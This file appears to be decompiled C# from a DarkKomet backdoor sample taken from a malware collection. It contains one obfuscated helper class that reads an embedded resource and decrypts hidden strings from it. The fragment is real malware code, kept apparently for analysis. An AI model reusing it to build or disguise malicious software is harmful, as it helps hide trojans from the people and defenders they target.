// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0003;
using \u007F\u0004;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0003
{
  internal class \u0002
  {
    private static string \u0001;
    private static string \u0002;
    private static byte[] \u0003;
    private static Hashtable \u0004;
    private static bool \u0005;
    private static int \u0006;

    public static string \u0002\u0002([In] int obj0)
    {
      string str1;
      int num1;
      int num2;
      int num3;
      byte[] numArray1;
      string str2;
      try
      {
        obj0 -= \u0002.\u0006;
        if (\u0002.\u0005)
        {
          str1 = (string) \u0002.\u0004[(object) obj0];
          if (str1 != null)
            return str1;
        }
        num1 = 0;
        num2 = obj0;
        num3 = (int) \u0002.\u0003[num2++];
        if ((num3 & 128) == 0)
        {
          num1 = num3;
          if (num1 == 0)
            return string.Empty;
        }
        else
          num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0002.\u0003[num2++] << 16) + ((int) \u0002.\u0003[num2++] << 8) + (int) \u0002.\u0003[num2++] : ((num3 & 63) << 8) + (int) \u0002.\u0003[num2++];
        string str3;
        try
        {
          numArray1 = \u0016\u0003.\u0010\u0003(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), \u0002.\u0003, num2, num1));
          str2 = \u009C\u0002.\u007F\u0002(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), numArray1, 0, numArray1.Length));
          if (\u0002.\u0005)
          {
            try
            {
              \u008B\u0003.\u007E\u001C\u0004((object) \u0002.\u0004, (object) obj0, (object) str2);
            }
            catch
            {
            }
          }
          str3 = str2;
        }
        catch
        {
          str3 = (string) null;
        }
        return str3;
      }
      catch (Exception ex)
      {
        string str4 = str1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local2 = (ValueType) num2;
        // ISSUE: variable of a boxed type
        __Boxed<int> local3 = (ValueType) num3;
        byte[] numArray2 = numArray1;
        string str5 = str2;
        string str6;
        string str7 = str6;
        // ISSUE: variable of a boxed type
        __Boxed<int> local4 = (ValueType) obj0;
        \u0089\u0004.\u001F\u0005(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4);
        throw;
      }
    }

    static \u0002()
    {
      Assembly assembly1;
      Stream stream1;
      int length;
      try
      {
        \u0002.\u0001 = "0";
        \u0002.\u0002 = "74";
        \u0002.\u0003 = (byte[]) null;
        \u0002.\u0004 = (Hashtable) null;
        \u0002.\u0005 = false;
        \u0002.\u0006 = 0;
        if (\u0002.\u0001 == "1")
        {
          \u0002.\u0005 = true;
          \u0002.\u0004 = new Hashtable();
        }
        \u0002.\u0006 = Convert.ToInt32(\u0002.\u0002);
        assembly1 = \u0098\u0003.\u0010\u0005();
        stream1 = \u0093\u0003.\u007E\u0004\u0005((object) assembly1, "{8a2cc06e-b699-4a98-98ee-08831fc9c995}");
        try
        {
          length = \u0013\u0003.\u0008\u0003(\u000F\u0004.\u007E\u009F\u0005((object) stream1));
          \u0002.\u0003 = new byte[(int) checked ((uint) length)];
          int num = \u0012\u0004.\u007E\u0006\u0006((object) stream1, \u0002.\u0003, 0, length);
          \u001A\u0002.\u007E\u0003\u0006((object) stream1);
        }
        finally
        {
          if (stream1 != null)
            \u001A\u0002.\u007E\u0004\u0002((object) stream1);
        }
      }
      catch (Exception ex)
      {
        Assembly assembly2 = assembly1;
        Stream stream2 = stream1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local = (ValueType) length;
        \u0089\u0004.\u001A\u0005(ex, (object) assembly2, (object) stream2, (object) local);
        throw;
      }
    }
  }
}
